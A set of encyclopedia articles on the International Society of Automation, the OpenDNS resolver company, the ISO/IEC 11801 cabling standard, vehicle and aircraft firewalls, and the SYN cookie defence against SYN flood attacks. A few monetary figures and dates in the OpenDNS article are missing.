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The International Society of Automation (ISA), formerly known as The Instrumentation, Systems, and Automation Society, is a non-profit technical society for engineers, technicians, businesspeople, educators and students, who work, study or are interested in automation and pursuits related to it, such as instrumentation. It was originally known as the Instrument Society of America. The society is more commonly known by its acronym, ISA, and the society's scope now includes many technical and engineering disciplines.
ISA is one of the foremost professional organizations in the world for setting standards and educating industry professionals in automation. Instrumentation and automation are some of the key technologies involved in nearly all industrialized manufacturing. Modern industrial manufacturing is a complex interaction of numerous systems. Instrumentation provides regulation for these complex systems using many different measurement and control devices. Automation provides the programmable devices that permit greater flexibility in the operation of these complex manufacturing systems.
In 2019, ISA announced the formation of the ISA Global Cybersecurity Alliance to promote the ISA/IEC 62443 series of standards, which are the world’s only consensus-based cybersecurity standard for automation and control system applications.
Structure
The International Society of Automation is a non-profit member-driven organization, which is built on a backbone of volunteers. Volunteers, working together with the ISA's full-time staff of over 75, are key to the ongoing mission and success of the organization. The ISA has a strong leadership development program that develops volunteer leaders as they get involved with the organization's many different facets. ISA has several different ways that volunteers get involved from the section, division, and standards roots of the organization.
ISA members are typically assigned an ISA Section (local chapter) which is related to their geographic location. Members can then join ISA Divisions which correspond to their individual technical interests. ISA Standards Committees are open to both ISA members and non-members to become involved with.
In addition to the member-driven aspects of the ISA, the organization itself is divided into departments headed by a director. These departments are:
Education, Training & Publications
Marketing & Graphics
Membership
IT
Sales
Standards
Finance
Customer/Member Service
History
ISA was officially established as the Instrument Society of America on 28 April 1945, in Pittsburgh, Pennsylvania. The society grew out of the desire of 18 local instrument societies to form a national organization. It was the brainchild of Richard Rimbach of the Instruments Publishing Company. Rimbach is recognized as the founder of ISA.
Industrial instruments, which became widely used during World War II, continued to play an ever-greater role in the expansion of technology after the war. Individuals like Rimbach and others involved in industry saw a need for the sharing of information about instruments on a national basis, as well as for standards and uniformity. The Instrument Society of America addressed that need.
Albert F. Sperry, chairman of Panelit Corporation, became ISA's first president in 1946. In that same year, the Society held its first conference and exhibit in Pittsburgh. The first standard, RP 5.1 Instrument Flow Plan Symbols, followed in 1949, and the first journal was published in 1954.
In the years following, ISA continued to expand its products and services, increasing the size and scope of the ISA conference and exhibition, developing symposia, offering professional development and training, adding technical Divisions, and even producing films about measurement and control.
Membership grew from 900 in 1946 to 6,900 in 1953, and as of 2019, ISA members number approximately 32,000 from over 100 countries.
In 1980, ISA moved its headquarters to Research Triangle Park (RTP), North Carolina, and a training center was established in nearby Raleigh. In 1997, the headquarters and training center were consolidated in a new building in RTP, where the society's day-to-day activities are managed by a professional staff of approximately 75.
Recognizing the fact that ISA's technical scope had grown beyond instruments and that its reach went beyond "America", in the fall of 2000 the ISA Council of Society Delegates approved a legal name change to ISA—The Instrumentation, Systems, and Automation Society. Today, ISA's corporate branding strategy focuses exclusively on the letters, though ISA's official, legal name remains the same.
In recent years, ISA has assumed a more global orientation, hiring multilingual staff and a director of global operations, chartering new sections in several countries outside the United States and Canada, issuing publications in Spanish, and in 2002 ISA elected its first president from outside North America.
On October 2, 2007, the Council of Society Delegates deliberated a proposal to change the society's legal name to "International Society of Automation". A majority vote favored the action. However, since the 2/3 majority required for a bylaws change was not achieved, the proposal was not adopted.
On October 13, 2008, the Council of Society Delegates deliberated a proposal to change the society's legal name to "International Society of Automation". The majority vote favored the action and the proposal was adopted.
Membership
ISA membership is organized into particular grades: Honorary, Fellow, Senior Member, Member, and Student Member. Honorary membership is conferred only upon those individuals who have made noteworthy contributions to the profession, and does not require payment of dues. Professional members pay dues of $100 per year, and student dues are $10 annually. Members in certain countries with lower per capita GDP (relative to US & Europe) may pay dues at a reduced rate, and a grade of "virtual member", with very limited benefits is available for annual dues of $5 to students in certain circumstances. After 25 years of membership and satisfaction of an age requirement, members are eligible to become Life Members and exempt from dues payment.
The benefits of ISA membership include, among other things, affiliation with an ISA section (see below), a subscription to the ISA's bimonthly flagship magazine InTech, discounts on ISA's products, events and services, and the privilege of viewing ISA standards, recommended practices, and technical papers at no extra charge.
In 2012, ISA introduced a free membership program called an Automation Community Member.
Sections and districts
Local ISA chapters are known as ISA Sections. A "regular" section consists of at least 30 members (not including student members). Sections are commonly organized around a specific geographic area, e.g. Seattle Section, Connecticut Valley Section, Greater Oklahoma Section, France Section etc. There are nearly 170 chartered sections in around 30 countries in North America, South America, Europe, Asia, and the Middle East. Sections are separately incorporated, according to the laws of the state, province or other political subdivision in which they are located. They are not units of ISA, although their bylaws may not conflict with ISA's. As of 2012, there are 146 sections.
Many sections sponsor training courses, conduct periodic trade shows, and act as a resource to the local industrial community. Reflecting their primacy in ISA's early days, sections retain pre-eminent governance authority, as ISA's legislative body, the Council of Society Delegates, is composed of section representatives (delegates) who hold voting power equal to the size of their membership.
ISA also has nearly 200 student sections, in locations all over the world, principally where the economy has a substantial manufacturing component, and instrumentation and industrial automation are vital academic programs. Some student sections have found it difficult to remain active, as it is necessary to continually replace graduates with newer students, and membership is consequently very fluid.
Sections are located within districts, of which there are 14, and which comprise large geographic areas of the world. Each one is headed by a vice president. Districts 1,2,3,5,6,7,8,9, and 11 are in the US (although District 7 also includes Mexico and Central America, and District 3 includes Puerto Rico). Districts 10 and 13 are in Canada. District 4 is South America (including the Trinidad Section). District 12 is Europe and the Middle East, and District 14 is the Asia-Pacific sphere. ISA formerly had geographic subdivisions known as "regions", which were part of the short lived "ISA International" (1988–1996). At varying intervals following the disestablishment of ISA International, the European Region became District 12, the India Region became District 14, and the South America Region became District 4 .
Technical divisions
ISA's 17 technical divisions, established for the purpose of increased information exchange within tightly focused segments of the fields of instrumentation, systems, and automation are organized under the Automation & Technology or Industries & Sciences Departments, depending upon the nature of the division.
The divisions in the Automation & Technology Department are :
Analysis
Automatic Control Systems
Computer Technology
Management
Process Measurement & Control
Robotics & Expert Systems
Safety
Telemetry & Communications
Test Measurement
Industries & Sciences Divisions are:
Aerospace Industries
Chemical & Petroleum Industries
Construction & Design
Food & Pharmaceuticals Industries
Mining & Metals Industries
Power Industry
Pulp & Paper Industries
Water & Wastewater Industries
Standards
ISA standards play a major role in the work of instrumentation and automation professionals. Many ISA standards have been recognized by the American National Standards Institute (ANSI). Many ISA standards have also been adopted as international standards by the International Electrotechnical Commission (IEC).
ISA standards cover a wide range of concepts of importance to instrumentation and automation professionals. ISA has standards committees for symbols and nomenclature used within the industry, safety standards for equipment in non-hazardous and hazardous environments, communications standards to permit interoperable equipment availability from several manufacturers, and additional committees for standards on many more technical issues of importance to the industry. An example of one significant ISA standard is the ANSI/ISA-50.02 Fieldbus Standard for Use in Industrial Control Systems, which is a product of the ISA-50 Signal Compatibility of Electrical Instruments committee. Another significant ISA standard family is the batch processing standards of ANSI/ISA-88.00.01 Models and Terminology, ANSI/ISA-88.00.02 Data Structures and Guidelines for Languages, and ANSI/ISA-88.00.03 General and Site Recipe Models and Representation, which are products of the ISA-88 Batch Control committee.
Other standards developed by ISA include:
ISA100.11a is for testing and certification of wireless products and systems. This standard was approved by the International Electrotechnical Commission (IEC) as a publicly available specification, or PAS in September 2011.
ISA95 is an international standard for developing an automated interface between enterprise and control systems.
As of 2012, the Society has over 162 published standards, recommended practices, and technical reports.
Cyber Security Standards for Industrial Control Systems
The International Society of Automation also produces the ISA99 standard which is one of the important Cyber security standards. The Cyber security standards page is within the scope of Wikipedia:WikiProject Computing, the article has been rated as High-importance on the project's importance scale. The ISA99 page has a link to the International Society of Automation page. The cyber security of private industries and governmental installations dependent on the reliable functioning of an Industrial control system is a highly debated subject, that has considerable importance for the security of the critical infrastructure of any country. For example: International Society of Automation cyber security standards are mentioned on the United States Computer Emergency Response Team website.
The ISA has formed the ISA Security Compliance Institute to promote and designate cyber-secure products and practices for industrial automation suppliers and operational sites.
Standards committees
ISA standards are developed using a consensus-based model employing volunteer standards committees of automation professionals from across industries. The ANSI standards development model is used with standards committees having the characteristics of Openness, Lack of Dominance, Balance, Consensus and a Right of Appeal. All ISA standards processes are overseen by the ISA Standards & Practices Board.
As of 2012, there are more than 3500 participating individuals on ISA standards committees, from over 40 countries, and representing more than 2000 companies and organizations.
Conferences, symposia and shows
Division symposia
ISA also holds both industry and technology-specific symposia on a wide variety of topics.
Local section events
ISA Sections will often host their own local trade shows called Section Expos, member events, and/or sponsored training in their individual geographic areas.
Publishing
Periodicals
ISA's technical magazine is one of the benefits of ISA membership. InTech circulation includes all 31,000 ISA members, as well as several thousand other recipients, who are classified as "qualified" subscribers. Total circulation is about 60,000 in print and a further 40,000 through the web-based digital edition.
The quarterly publication ISA Transactions, published by Elsevier, is a referred journal of scholarly material, for which the intended audience is research and development personnel from academy and industry in the field of process instrumentation, systems, and automation.
ISA formerly published Industrial Computing, of the now-inactive Industrial Computing Society as well as Motion Control, a magazine devoted to professionals in this discipline. Although the print version was discontinued in 2001, it continued online for a period of time.
Books
ISA publishes and distributes books which offer thorough coverage of the world of automation. ISA books are organized by the technical categories which are generally considered as defining automation:
Basic continuous control
Basic discrete, sequencing and manufacturing control
Advanced control
Reliability, safety, and electrical
Integration and software
Deployment and maintenance
Work structure
Standards
The ISA publishes its standards, recommended practices and technical reports in a variety of formats. These include printed hardcopy, downloadable PDF, web-based viewable, CDROM/DVD and network licenses.
Training, certification and education
Training
ISA training products include classroom-based training, mobile training courses, in-plant training, online courses, and printed course materials. The ISA also provides in-house training for a number of large corporations in the oil/gas and chemical industries.
Technical papers archive
The ISA has an online, searchable collection of technical papers which are available to ISA members and to digital library subscribers. As of 2012, the library has over 3000 technical papers.
Certification programs
ISA manages two certification programs, Certified Automation Professional (CAP), and Certified Control Systems Technician (CCST). Each of these is designed to be an objective, third-party assessment and confirmation of an individual's professional abilities and technical skills. Each certification is granted based on a combination of formal education/training, professional experience, and performance on a written examination.
The CCST program was established in the early 1990s and because of an obvious industry need, rapidly gained credibility. There are now approximately 4,000 ISA certified technicians worldwide.
The CAP program, launched in 2004, is still in the process of becoming established within the industrial community and gaining recognition. As of 2012, there are over 500 certified CAPs worldwide.
The ISA used to have a third certification program called Certified Industrial Maintenance Mechanic (CIMM) which was established in 2004. In 2010, the CIMM program was transferred to the Society for Maintenance and Reliability Professionals. The SMRP renamed the CIMM certification to the Certified Maintenance and Reliability Technician (CMRT).
References
International organizations based in the United States
Organizations based in North Carolina
Engineering organizations
Standards organizations in the United States
Industrial automation
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5910618
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https://en.wikipedia.org/wiki/OpenDNS
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OpenDNS
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OpenDNS is an American company providing Domain Name System (DNS) resolution services—with features such as phishing protection, optional content filtering, and DNS lookup in its DNS servers—and a cloud computing security product suite, Umbrella, designed to protect enterprise customers from malware, botnets, phishing, and targeted online attacks. The OpenDNS Global Network processes an estimated 100 billion DNS queries daily from 85 million users through 25 data centers worldwide.
On August 27, 2015, Cisco acquired OpenDNS for million in an all-cash transaction, plus retention-based incentives for OpenDNS. OpenDNS's business services were renamed Cisco Umbrella; home products retained the OpenDNS name. Cisco said that it intended to continue development of OpenDNS with its other cloud-based security products, and that it would continue its existing services.
Until June , OpenDNS provided an ad-supported service and a paid advertisement-free service. The services are based on software proprietary to the company.
Products and services
The name "OpenDNS" refers to the DNS concept that queries are accepted from any source. It is not related to open source software; the service is based on closed-source software.
DNS
OpenDNS offers DNS resolution as an alternative to using Internet service providers' DNS servers or locally installed DNS servers. OpenDNS has adopted and supports the DNSCurve secure protocol.
OpenDNS provides the following recursive nameserver addresses for public use, mapped to the nearest operational server location by anycast routing.
OpenDNS also provides the following recursive nameserver addresses as part of their FamilyShield parental controls that block pornography, proxy servers, and phishing sites.
OpenDNS Sandbox is an RFC-compliant DNS service that does not provide any level of filtering.
In July 2013 OpenDNS said that it handled over 50 billion DNS requests daily.
In many cases OpenDNS provides only negligible performance gain, but may process queries more quickly than an ISP with slow DNS servers. DNS query results are sometimes cached by routers (e.g., local ISPs' queries may be cached by ISPs' home routers), the local operating system or applications, so differences in speed may be noticeable only with requests that are not stored in a local cache.
DNS services for personal home use
On May 13, 2007, OpenDNS launched a domain-blocking service to block web sites or non-web servers by categories, allowing control over the type of sites that may be accessed. The categories can be overridden through individually managed blacklists and whitelists. In 2008, OpenDNS changed from a closed list of blocked domains to a community-driven list allowing subscribers to suggest sites for blocking; if enough subscribers (the number has not been disclosed) concur with the categorization of a site, it is added to the appropriate category for blocking. there were over 60 categories. The basic OpenDNS service does not require users to register, but using the customizable block feature requires registration.
Other free, built-in features include a phishing filter. OpenDNS also run a service called PhishTank for users to submit and review suspected phishing sites.
OpenDNS supports the DNSCrypt protocol, which authenticates DNS traffic between the user's computer and the name servers. This requires installing free software onto supported devices.
In December 2007 OpenDNS began offering the free DNS-O-Matic service to provide a method of sending dynamic DNS (DDNS) updates to several DDNS providers using DynDNS's update API. In October 2009 OpenDNS launched charged-for premium services called Home VIP that offer increased reporting and block features, and other services.
DNS services for paid business use
In 2009 OpenDNS launched OpenDNS Enterprise, a first foray into enterprise-grade network security. OpenDNS Enterprise included the ability to share management of the product across a team, along with an audit log, expanded malware protection, daily network statistic reports, and a custom block page URL.
OpenDNS expanded on the Enterprise product in July 2012 with OpenDNS Insights. This new service featured integration with Microsoft Active Directory, which allowed admins granular control over creating policies on a per-user, per-device, and per-group basis.
Umbrella
In November 2012 OpenDNS launched its network security product suite called Umbrella, designed to enforce security policies for mobile employees who work beyond the corporate network using roaming devices such as Windows and Mac laptops, iPhones, and iPads, and provides granular network security for all devices behind the network perimeter.
In February 2013 the company launched the OpenDNS Security Graph to support Umbrella. Security graph is a data-driven threat intelligence engine that automatically updates malware, botnet, and phishing domain and IP blacklists enforced by Umbrella. The data is sourced from the DNS requests OpenDNS receives, plus the BGP routing tables that are managed by OpenDNS's network operations center.
Added features
OpenDNS introduced the Investigate feature to Umbrella in November 2013. It allows security teams to compare local to global traffic to help determine the intent of an attack, and help incident response teams prioritize events. In January 2014 the Intelligent Proxy feature was added to the Umbrella suite. The OpenDNS Intelligent Proxy only proxies connections if the requested domain is scored as suspicious or tagged as partially malicious by OpenDNS Security Graph.
One month later OpenDNS announced a technology integration partnership with FireEye. The collaboration allows indicators of compromise to be forwarded from FireEye’s real-time notification system to Umbrella, extending FireEye’s protection to mobile employees and branch offices.
Umbrella for MSPs
There is a distinct Umbrella package for MSPs. It features the same protection as the regular business packages, but offers additional MSP features: a centralized multi-tenant dashboard, on-demand monthly licensing, and ConnectWise and Autotask PSA integrations.
History
In July 2006 OpenDNS was launched by computer scientist and entrepreneur David Ulevitch, providing recursive DNS resolution. It received venture capital funding from Minor Ventures, led by CNET founder Halsey Minor. In October 2006 OpenDNS launched PhishTank, an online collaborative anti-phishing database. Before 2007 OpenDNS was using the DNS Update API from DynDNS to handle updates from users with dynamic IPs. In June 2007 OpenDNS started advanced web filtering to optionally block "adult content" for their free accounts. Nand Mulchandani, former head of VMware's security group, left VMware to join OpenDNS as new CEO in November 2008, replacing founder David Ulevitch, who remained as the company's chief technology officer. David Ulevitch resumed his post as CEO of OpenDNS in late 2009.
Sequoia Capital and Greylock purchased the majority of shares held by Halsey Minor in July 2009 in a secondary transaction. Then, in conjunction with DAG Ventures, all remaining shares held by Minor were purchased in a similar fashion in early 2010. In June 2010 OpenDNS launched "FamilyShield", a service designed to filter out sites with pornographic content. The service uses the DNS addresses 208.67.222.123 and 208.67.220.123. The World Economic Forum announced the company as a Technology Pioneer for 2011. In March 2012 Dan Hubbard, former CTO at Websense, joined OpenDNS as CTO. The OpenDNS Security Labs were founded in December 2012, serving as a hub for research at the company. OpenDNS launched Security Graph, a security intelligence and threat detection engine in February 2013, followed by a Series B funding round. In May 2014 OpenDNS announced a Series C funding round totaling , with new investors Glynn Capital Management, Northgate Capital, Mohr Davidow Ventures, Lumia Capital, Evolution Equity Partners, Cisco, Chris Sacca, Naval Ravikant, Elad Gill, as well as previous backers Greylock Partners, Sequoia Capital, and Sutter Hill Ventures.
On August 27, 2015, Cisco acquired OpenDNS for in an all-cash transaction, plus retention-based incentives for OpenDNS. OpenDNS's business services were renamed Cisco Umbrella; home products retained the OpenDNS name. Cisco said that it intended to continue development of OpenDNS with its other cloud-based security products, and that it would continue its existing services.
Discontinued advertising
OpenDNS previously earned a portion of its revenue by resolving a domain name to an OpenDNS server when the name is not otherwise defined in DNS. This had the effect that if a user typed a non-existent name in a URL in a web browser, the user saw an OpenDNS search page. Advertisers paid OpenDNS to have advertisements for their sites on this page. This behavior is similar to VeriSign's previous Site Finder or the redirects many ISP's place on their own DNS servers. OpenDNS said that the advertising revenue paid for the free customized DNS service. It was discontinued on June 6, 2014; OpenDNS said this was because of their move towards a security focus in their business.
Reception
In 2007, David Ulevitch explained that, in response to Dell installing "Browser Address Error Redirector" software on their PCs, OpenDNS started resolving requests to Google.com. Some of the traffic is handled by OpenDNS typo-correcting service that corrects mistyped addresses and redirects keyword addresses to OpenDNS's search page, while the rest is transparently passed through to the intended recipient.
Also, a user's search request from the address bar of a browser that is configured to use the Google search engine (with a certain parameter configured) may be covertly redirected to a server owned by OpenDNS (which is within the OpenDNS Terms of Service). Users can disable this behavior by logging into their OpenDNS account and unchecking "OpenDNS proxy" option; Mozilla users can instead install an extension, or change or remove the navclient sourceid from their keyword search URLs.
This redirection breaks some non-Web applications that rely on getting an NXDOMAIN response for non-existent domains, such as e-mail spam filtering, or VPN access where the private network's nameservers are consulted only when the public ones fail to resolve. Breaking local name resolution can be avoided by configuring the DNS addresses only in the forwarders of the local DNS server or router (the WAN/Internet configuration of a router or other gateway). For other purposes, or when the DNS addresses cannot be configured in a forwarder, domains for which an NXDOMAIN response is expected should be added to the Exceptions for VPN Users section of the OpenDNS Dashboard.
Most of the issues above were resolved when OpenDNS discontinued their advertising service, and started responding with NXDOMAIN and SERVFAIL instead of redirecting non-existing domains.
See also
DNSCrypt
EDNS Client Subnet
PhishTank
Public recursive name server
Response policy zone
References
External links
Dark Reading: OpenDNS Goes Mobile Nov. 15, 2012
PC World: OpenDNS introduces VPN, content filtering for mobile devices Nov. 13, 2012
PC Magazine: OpenDNS Extends Company Security to Mobile Devices Nov. 13, 2012
Cisco software
Companies based in San Francisco
Alternative Internet DNS services
Internet properties established in 2006
Content-control software
Cisco Systems acquisitions
2015 mergers and acquisitions
Software companies established in 2006
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4084346
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https://en.wikipedia.org/wiki/ISO/IEC%2011801
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ISO/IEC 11801
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International standard ISO/IEC 11801 Information technology — Generic cabling for customer premises specifies general-purpose telecommunication cabling systems (structured cabling) that are suitable for a wide range of applications (analog and ISDN telephony, various data communication standards, building control systems, factory automation). It covers both balanced copper cabling and optical fibre cabling.
The standard was designed for use within commercial premises that may consist of either a single building or of multiple buildings on a campus. It was optimized for premises that span up to 3 km, up to 1 km2 office space, with between 50 and 50,000 persons, but can also be applied for installations outside this range.
A major revision was released in November 2017, unifying requirements for commercial, home and industrial networks.
Classes and categories
The standard defines several link/channel classes and cabling categories of twisted-pair copper interconnects, which differ in the maximum frequency for which a certain channel performance is required:
Class A: link/channel up to 100 kHz using Category 1 cable/connectors
Class B: link/channel up to 1 MHz using Category 2 cable/connectors
Class C: link/channel up to 16 MHz using Category 3 cable/connectors
Class D: link/channel up to 100 MHz using Category 5e cable/connectors
Class E: link/channel up to 250 MHz using Category 6 cable/connectors
Class EA: link/channel up to 500 MHz using Category 6A cable/connectors (Amendment 1 and 2 to ISO/IEC 11801, 2nd Ed.)
Class F: link/channel up to 600 MHz using Category 7 cable/connectors
Class FA: link/channel up to 1000 MHz using Category 7A cable/connectors (Amendment 1 and 2 to ISO/IEC 11801, 2nd Ed.)
Class BCT-B: link/channel up to 1000 MHz using with coaxial cabling for BCT applications. (ISO/IEC 11801-1, Edition 1.0 2017-11)
Class I: link/channel up to 2000 MHz using Category 8.1 cable/connectors (ISO/IEC 11801-1, Edition 1.0 2017-11)
Class II: link/channel up to 2000 MHz using Category 8.2 cable/connectors (ISO/IEC 11801-1, Edition 1.0 2017-11)
The standard link impedance is 100 Ω (The older 1995 version of the standard also permitted 120 Ω and 150 Ω in Classes A−C, but this was removed from the 2002 edition).
The standard defines several classes of optical fiber interconnect:
OM1: Multimode fiber type 62.5 μm core; minimum modal bandwidth of 200 MHz·km at 850 nm
OM2: Multimode fiber type 50 μm core; minimum modal bandwidth of 500 MHz·km at 850 nm
OM3: Multimode fiber type 50 μm core; minimum modal bandwidth of 2000 MHz·km at 850 nm
OM4: Multimode fiber type 50 μm core; minimum modal bandwidth of 4700 MHz·km at 850 nm
OM5: Multimode fiber type 50 μm core; minimum modal bandwidth of 4700 MHz·km at 850 nm and 2470 MHz·km at 953 nm
OS1: Single-mode fiber type 1 dB/km attenuation at 1310 and 1550 nm
OS1a: Single-mode fiber type 1 dB/km attenuation at 1310, 1383, and 1550 nm
OS2: Single-mode fiber type 0.4 dB/km attenuation at 1310, 1383, and 1550 nm
OM5
OM5 fiber is designed for wideband applications using SWDM multiplexing of 4–16 carriers (40G=4λ×10G, 100G=4λ×25G, 400G=4×4λ×25G) in the 850–953 nm range.
Category 7
Class F channel and Category 7 cable are backward compatible with Class D/Category 5e and Class E/Category 6. Class F features even stricter specifications for crosstalk and system noise than Class E. To achieve this, shielding was added for individual wire pairs and the cable as a whole. Unshielded cables rely on the quality of the twists to protect from EMI. This involves a tight twist and carefully controlled design. Cables with individual shielding per pair such as category 7 rely mostly on the shield and therefore have pairs with longer twists.
The Category 7 cable standard was ratified in 2002, and primarily introduced to support 10 gigabit Ethernet over 100 m of copper cabling. It contains four twisted copper wire pairs, just like the earlier standards, terminated either with GG45 electrical connectors or with TERA connectors rated for transmission frequencies of up to 600 MHz.
However, in 2008, Category 6A was ratified for Ethernet to allows 10 Gbit/s while still using the traditional 8P8C connector, which is commonly referred to as "RJ-45" though the usage is somewhat confusing -- only the original telephone connector is properly "RJ-45", and those connectors, though mechanically interworkable, are not compatible with high speed digital use. Care is required to avoid signal degradation by mixing cable and connectors not designed for that use, however similar. Most manufacturers of active equipment and network cards have chosen to support the 8P8C for their 10 gigabit Ethernet products on copper and not the GG45, ARJ45, or TERA. Therefore, the Category 6 specification was revised to Category A to permit this use; products therefore require a Class EA channel (ie, Cat 6A).
As of 2019 some equipment has been introduced which has connectors supporting the Class F (Category 7) channel.
Note, however, that Category 7 is not recognized by the TIA/EIA at the time of this writing.
Category 7A
Class FA (Class F Augmented) channels and Category 7A cables, introduced by ISO 11801 Edition 2 Amendment 2 (2010), are defined at frequencies up to 1000 MHz, suitable for multiple applications including CATV (862 MHz).
The intent of the Class FA was to possibly support the future 40 gigabit Ethernet: 40Gbase-T. Simulation results have shown that 40 gigabit Ethernet may be possible at 50 meters and 100 gigabit Ethernet at 15 meters. In 2007, researchers at Pennsylvania State University predicted that either 32 nm or 22 nm circuits would allow for 100 gigabit Ethernet at 100 meters.
However, in 2016, the IEEE 802.3bq working group ratified the amendment 3 which defines 25Gbase-T and 40gbase-T on Category 8 cabling specified to 2000 MHz. The Class FA therefore does not support 40G Ethernet.
As of 2017 there is no equipment that has connectors supporting the Class FA (Category 7A) channel.
Category 7A is not recognized in TIA/EIA.
Category 8
Category 8 was ratified by the TR43 working group under ANSI/TIA 568-C.2-1. It is defined up to 2000 MHz and only for distances up to 30 m or 36 m, depending on the patch cords used.
ISO SC25 WG3 developed the equivalent standard ISO/IEC 11801-1:2017/COR 1:2018, with two options:
Class I channel (Category 8.1 cable): minimum cable design U/FTP or F/UTP, fully backward compatible and interoperable with Class EA (Category 6A) using 8P8C connectors;
Class II channel (Category 8.2 cable): F/FTP or S/FTP minimum, interoperable with Class FA (Category 7A) using TERA or GG45.
Category 8 is designed only for data centers where distances between switches and servers are short. It is not intended for general office cabling.
Acronyms for twisted pairs
Annex E, Acronyms for balanced cables, provides a system to specify the exact construction for both unshielded and shielded balanced twisted pair cables. It uses three letters - U for unshielded, S for braided shielding, and F for foil shielding - to form a two-part abbreviation in the form of xx/xTP, where the first part specifies the type of overall cable shielding, and the second part specifies shielding for individual cable elements.
Common cable types include U/UTP (unshielded cable); U/FTP (individual pair shielding without the overall screen); F/UTP, S/UTP, or SF/UTP (overall screen without individual shielding); and F/FTP, S/FTP, or SF/FTP (overall screen with individual foil shielding).
2017 edition
In November 2017, a new edition was released by ISO/IEC JTC 1/SC 25 "Interconnection of information technology equipment". It is a major revision of the standard which has unified several prior standards for commercial, home, and industrial networks, as well as data centers, and defines requirements for generic cabling and distributed building networks.
The new series of standards replaces the former 11801 standard and includes six parts:
Versions
ISO/IEC 11801:1995 (Ed. 1) - First edition
ISO/IEC 11801:2000 (Ed. 1.1) - Edition 1, Amendment 1
ISO/IEC 11801:2002 (Ed. 2) - Second edition
ISO/IEC 11801:2008 (Ed. 2.1) - Edition 2, Amendment 1
ISO/IEC 11801:2010 (Ed. 2.2) - Edition 2, Amendment 2
ISO/IEC 11801-(1-6):2017/COR 1:2018/AMD 1:2021 - Current edition
See also
Ethernet over twisted pair
Twisted pair
TIA/EIA-568
ISO/IEC JTC 1/SC 25
References
Further reading
International standard ISO/IEC 11801: Information technology — Generic cabling for customer premises''.
European standard EN 50173: Information technology — Generic cabling systems. 1995.
11801
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8709816
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https://en.wikipedia.org/wiki/Firewall%20%28engine%29
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Firewall (engine)
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In automotive engineering, the firewall (American English) or bulkhead (British English) is the part of the automobile body (unibody or body-on-frame) that separates the engine compartment from the passenger compartment (driver and passengers). It is most commonly a separate component of the body or, in monocoque construction, a separate steel pressing, but may be continuous with the floorpan, or its edges may form part of the door pillars. The name originates from steam-powered vehicles, where the firewall separated the driver from the fire heating the boiler.
In aviation, a firewall on an aircraft isolates the engine(s) from other parts of the airframe. In single-engine aircraft, it is the part of the fuselage that separates the engine compartment from the cockpit. In most multi-engine propeller aircraft, the firewall typically divides the nacelle from the wing of the aircraft, or divides the nacelle into two zones.
Aircraft components
Automotive body parts
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6507326
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https://en.wikipedia.org/wiki/SYN%20cookies
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SYN cookies
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SYN cookie is a technique used to resist SYN flood attacks. The technique's primary inventor Daniel J. Bernstein defines SYN cookies as "particular choices of initial TCP sequence numbers by TCP servers." In particular, the use of SYN cookies allows a server to avoid dropping connections when the SYN queue fills up. Instead of storing additional connections, a SYN queue entry is encoded into the sequence number sent in the SYN+ACK response. If the server then receives a subsequent ACK response from the client with the incremented sequence number, the server is able to reconstruct the SYN queue entry using information encoded in the TCP sequence number and proceed as usual with the connection.
Implementation
In order to initiate a TCP connection, the client sends a TCP SYN packet to the server. In response, the server sends a TCP SYN+ACK packet back to the client. One of the values in this packet is a sequence number, which is used by the TCP to reassemble the data stream. According to the TCP specification, that first sequence number sent by an endpoint can be any value as decided by that endpoint. As the sequence number is chosen by the sender, returned by the recipient, and has no otherwise-defined internal structure, it can be overloaded to carry additional data. The following describes one possible implementation, however as there is no public standard to follow, the order, length, and semantics of the fields may differ between SYN cookie implementations.
SYN cookies are initial sequence numbers that are carefully constructed according to the following rules:
let t be a slowly incrementing timestamp (typically logically right-shifted 6 positions, which gives a resolution of 64 seconds)
let m be the maximum segment size (MSS) value that the server would have stored in the SYN queue entry
let s be the result of a cryptographic hash function computed over the server IP address and port number, the client IP address and port number, and the value t. The returned value s must be a 24-bit value.
The initial TCP sequence number, i.e. the SYN cookie, is computed as follows:
Top 5 bits: t mod 32
Middle 3 bits: an encoded value representing m
Bottom 24 bits: s
(Note: since m must be encoded using 3 bits, the server is restricted to sending up to 8 unique values for m when SYN cookies are in use.)
When a client sends back a TCP ACK packet to the server in response to the server's SYN+ACK packet, the client must (according to the TCP spec) use n+1 in the packet's Acknowledgement number, where n is the initial sequence number sent by the server. The server then subtracts 1 from the acknowledgement number to reveal the SYN cookie sent to the client.
The server then performs the following operations.
Checks the value t against the current time to see if the connection has expired.
Recomputes s to determine whether this is, indeed, a valid SYN cookie.
Decodes the value m from the 3-bit encoding in the SYN cookie, which it then can use to reconstruct the SYN queue entry.
From this point forward, the connection proceeds as normal.
Drawbacks
The use of SYN cookies does not break any protocol specifications, and therefore should be compatible with all TCP implementations. There are, however, two caveats that take effect when SYN cookies are in use. Firstly, the server is limited to only 8 unique MSS values, as that is all that can be encoded in 3 bits. Secondly, early implementations rejected all TCP options (such as large windows or timestamps), because the server discarded the SYN queue entry where that information would otherwise be stored.; however v2.6.26 of the Linux kernel added partial support of TCP options by encoding them into the timestamp option. Finally, SYN cookies place increased load on server resources. Encrypting responses is computationally expensive. The SYN cookie does not reduce traffic, which makes it ineffective against SYN flooding attacks that target bandwidth as the attack vector.
While these restrictions necessarily lead to a sub-optimal experience, their effect is rarely noticed by clients because they are only applied when under attack. In such a situation, the loss of the TCP options in order to save the connection is usually considered to be a reasonable compromise.
A problem arises when the connection-finalizing ACK packet sent by the client is lost, and the application layer protocol requires the server to speak first (SMTP and SSH are two examples). In this case, the client assumes that the connection was established successfully and waits for the server to send its protocol banner, or resend the SYN+ACK packet; however, the server is not aware of the session and will not resend the SYN+ACK because it discarded the backlog queue entry that would enable it to do so. Eventually, the client will abort the connection due to an application layer timeout, but this may take a relatively long time.
TCP Cookie Transactions (TCPCT) standard was designed to overcome these shortcomings of SYN cookies and improve it on a couple of aspects. Unlike SYN cookies, TCPCT is a TCP extension and required support from both endpoints. It was moved to "Historic" status by RFC 7805 in 2016.
Security considerations
Simple firewalls that are configured to allow all outgoing connections but to restrict which ports an incoming connection can reach (for example, allow incoming connections to a Web server on port 80 but restrict all other ports), work by blocking only incoming SYN requests to unwanted ports. If SYN cookies are in operation, care should be taken to ensure an attacker is not able to bypass such a firewall by forging ACKs instead, trying random sequence numbers until one is accepted. SYN cookies should be switched on and off on a per-port basis, so that SYN cookies being enabled on a public port does not cause them to be recognised on a non-public port. The original Linux kernel implementation misunderstood this part of Bernstein's description and used a single global variable to switch on SYN cookies for all ports; this was pointed out by a research student and subsequently fixed in .
History
